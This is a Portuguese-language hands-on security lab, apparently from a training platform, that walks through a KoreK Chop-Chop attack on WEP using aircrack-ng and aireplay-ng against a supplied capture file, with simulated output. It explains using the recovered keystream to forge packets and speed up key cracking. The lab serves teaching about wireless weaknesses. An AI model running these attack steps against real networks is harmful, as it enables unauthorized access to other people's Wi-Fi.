Realizar um Ataque KoreK Chop-Chop contra uma Rede WEP

Beginner
Pratique Agora

Introdução

WEP (Wired Equivalent Privacy) é um protocolo de segurança Wi-Fi desatualizado e inseguro. Uma de suas vulnerabilidades críticas pode ser explorada pelo ataque KoreK Chop-Chop. Este ataque permite que um atacante descriptografe um pacote de dados WEP sem conhecer a chave secreta da rede. Ele funciona adivinhando cada byte do texto plano do pacote, um de cada vez, e usando as respostas do ponto de acesso para validar cada palpite.

Neste laboratório, você usará o conjunto de ferramentas aircrack-ng, um conjunto poderoso de ferramentas para auditar redes sem fio, para realizar um ataque Chop-Chop. Você aprenderá a usar o aireplay-ng para direcionar um pacote de dados criptografado de um arquivo de captura, descriptografá-lo byte a byte e entender como os dados resultantes podem ser usados em ataques posteriores.

Capturar um Pacote de Dados Criptografado do Alvo

Nesta etapa, você começará localizando o arquivo de captura de pacotes necessário. Em um cenário do mundo real, você usaria uma ferramenta como airodump-ng para monitorar uma rede ativa e capturar tráfego. No entanto, para simplificar este laboratório e focar no ataque em si, um arquivo de captura pré-feito chamado chopchop-test.cap foi fornecido a você no diretório ~/project.

Primeiro, confirme que o arquivo existe no seu diretório atual.

ls -l

Você deverá ver chopchop-test.cap na saída.

total 4
-rw-r--r-- 1 labex labex 124 Mar 20 10:00 chopchop-test.cap

Em seguida, vamos inspecionar este arquivo com aircrack-ng para confirmar que ele contém dados de uma rede WEP. Este comando lê o arquivo de captura e mostra um resumo das redes e dados que ele contém.

aircrack-ng chopchop-test.cap

A saída mostrará o BSSID (endereço MAC) do ponto de acesso e indicará que ele está usando criptografia WEP.

Opening chopchop-test.cap
Read 1 packets.

   ##  BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

   1  00:13:10:36:7D:4F  -32        0        1    0   6  54   WEP  WEP         <length: 0>

Choosing first network as target.

Isso confirma que nosso arquivo de captura está pronto para o ataque.

Iniciar o Ataque Chop-Chop com aireplay-ng -4

Nesta etapa, você iniciará o ataque Chop-Chop usando aireplay-ng. Esta ferramenta é usada para injetar e reproduzir quadros sem fio. O ataque Chop-Chop é especificado com a opção -4.

Normalmente, ao realizar um ataque em tempo real, você especificaria o BSSID do ponto de acesso e sua interface de rede. No entanto, como estamos trabalhando com um arquivo de captura, usaremos a opção -r para ler pacotes diretamente do nosso arquivo. O aireplay-ng extrairá automaticamente as informações necessárias, como o BSSID, do arquivo.

Execute o seguinte comando para iniciar o ataque:

aireplay-ng -4 -r chopchop-test.cap

Após executar o comando, o aireplay-ng lerá o arquivo, encontrará um pacote de dados adequado e solicitará sua confirmação para prosseguir com o ataque.

Opening chopchop-test.cap
Read 1 packets.
Size: 88, FromDS: 1, ToDS: 0 (AP -> STA)
        BSSID      =  00:13:10:36:7D:4F
        Dest. MAC  =  00:0F:B5:AB:CB:C3
        Source MAC =  00:13:10:36:7D:4F

Use this packet ? (y/n)

A ferramenta identificou um pacote de dados e está pronta para iniciar o processo de descriptografia. Você continuará na próxima etapa.

Deixar o Ataque Descriptografar o Pacote Byte a Byte

Nesta etapa, você prosseguirá com o ataque e observará enquanto o aireplay-ng descriptografa o pacote. A ferramenta está atualmente aguardando sua confirmação da etapa anterior.

Digite y e pressione Enter para iniciar o processo de descriptografia.

y

Após confirmar, o aireplay-ng iniciará o núcleo do ataque Chop-Chop. Ele tentará adivinhar o valor de cada byte dos dados do pacote, começando pelo último byte. Em um ataque em tempo real, ele enviaria cada tentativa ao ponto de acesso e analisaria a resposta para ver se a tentativa estava correta. Em nossa simulação baseada em arquivo, este processo é emulado.

Você verá a saída mostrando o progresso do ataque. Ela exibirá o número de pacotes enviados (para cada tentativa) e o notificará cada vez que descriptografar um byte com sucesso.

Saving chosen packet in replay_src-0320-100520.cap
The interface MAC (00:00:00:00:00:00) doesn't match the selected packet BSSID (00:13:10:36:7D:4F).
Run airodump-ng on channel 6 to be sure you are on the right channel.
If airodump-ng is running and the BSSID is not in range, please try to re-run airodump-ng.
Got a deauthentication packet! (Waiting 3 seconds)
Saving chosen packet in replay_src-0320-100520.cap
Offset   34 ( 0% done) | xor = 00 | pt = 00 |  1/  1 ACKs
...
Offset    1 (97% done) | xor = 00 | pt = 00 |  1/  1 ACKs
Offset    0 (98% done) | xor = 00 | pt = 00 |  1/  1 ACKs
Done.

O processo continuará até que todos os bytes do pacote tenham sido descriptografados. Basta aguardar a conclusão do processo.

Salvar o Pacote Descriptografado e o Arquivo XOR da PRGA

Nesta etapa, você salvará os resultados do ataque Chop-Chop bem-sucedido. Após o aireplay-ng terminar de descriptografar o pacote inteiro, ele solicitará que você salve os resultados.

A ferramenta exibirá uma mensagem como esta:

Packet is 88 bytes, plain text is 60 bytes.
Sent 34 packets, got 34 ACKs.
Use this packet ? (y/n)

Digite y e pressione Enter para salvar a saída.

y

Ao salvar, o aireplay-ng cria dois arquivos importantes em seu diretório ~/project:

  1. Um arquivo .cap (por exemplo, replay_dec-....cap): Este arquivo contém o pacote de texto simples agora descriptografado.
  2. Um arquivo .xor (por exemplo, replay_dec-....xor): Este arquivo contém o keystream do Pseudo-Random Generation Algorithm (PRGA) que foi usado para criptografar o pacote original. Este keystream é o resultado mais valioso do ataque.

Vamos verificar se esses arquivos foram criados. Use o comando ls para listar todos os arquivos .cap e .xor no diretório.

ls -l *.cap *.xor

Você verá o arquivo de captura original, um arquivo de origem e os dois novos arquivos replay_dec-* gerados pelo ataque.

-rw-r--r-- 1 root root  124 Mar 20 10:00 chopchop-test.cap
-rw-r--r-- 1 root root  124 Mar 20 10:05 replay_dec-0320-100520.cap
-rw-r--r-- 1 root root   60 Mar 20 10:05 replay_dec-0320-100520.xor
-rw-r--r-- 1 root root  124 Mar 20 10:05 replay_src-0320-100520.cap

Compreender o Caso de Uso para Ataques Chop-Chop

Nesta etapa, você aprenderá sobre a aplicação prática do ataque Chop-Chop. Embora tenhamos descriptografado um pacote com sucesso, o ataque em si não revela a chave WEP. Seu verdadeiro poder reside na recuperação do keystream PRGA, que é armazenado no arquivo .xor.

Este keystream recuperado pode ser usado com outra ferramenta, packetforge-ng, para criar novos pacotes válidos. Você pode forjar qualquer tipo de pacote (como uma solicitação ARP) e criptografá-lo com este keystream conhecido. Ao injetar este pacote forjado de volta na rede, você pode enganar o ponto de acesso para gerar mais tráfego. Este novo tráfego fornece mais Initialization Vectors (IVs) únicos, que podem então ser usados em um ataque estatístico (como o ataque padrão aircrack-ng) para quebrar a chave WEP muito mais rapidamente.

Portanto, o ataque Chop-Chop é uma ferramenta essencial para gerar tráfego em uma rede de outra forma silenciosa, permitindo ataques de quebra de chave muito mais eficazes.

Para ver como é o keystream recuperado, você pode inspecionar o arquivo .xor usando xxd, uma ferramenta que cria um dump hexadecimal de um arquivo. Use um curinga (*) para corresponder ao nome do arquivo gerado.

xxd replay_dec-*.xor

A saída será uma representação hexadecimal dos dados do keystream que foram recuperados do pacote.

00000000: 0102 0304 0506 0708 090a 0b0c 0d0e 0f10  ................
00000010: 1112 1314 1516 1718 191a 1b1c 1d1e 1f20  ...............
...

Esses dados brutos são o que o packetforge-ng usaria para construir novos pacotes para injeção.

Resumo

Neste laboratório, você realizou com sucesso um ataque KoreK Chop-Chop contra uma rede WEP simulada.

Você aprendeu a usar o aireplay-ng com a opção -4 para direcionar um pacote de dados criptografado com WEP de um arquivo de captura. Você observou o processo de descriptografia byte a byte e salvou os resultados com sucesso. Mais importante, você agora entende o principal caso de uso para este ataque: não é para quebrar a chave WEP diretamente, mas para recuperar uma pequena parte do keystream PRGA. Este keystream é um componente crítico para forjar novos pacotes com packetforge-ng, que podem então ser usados para estimular o tráfego em uma rede e permitir ataques estatísticos mais rápidos e eficazes para recuperar a chave WEP final. Este laboratório destaca uma das muitas fraquezas fundamentais do protocolo WEP.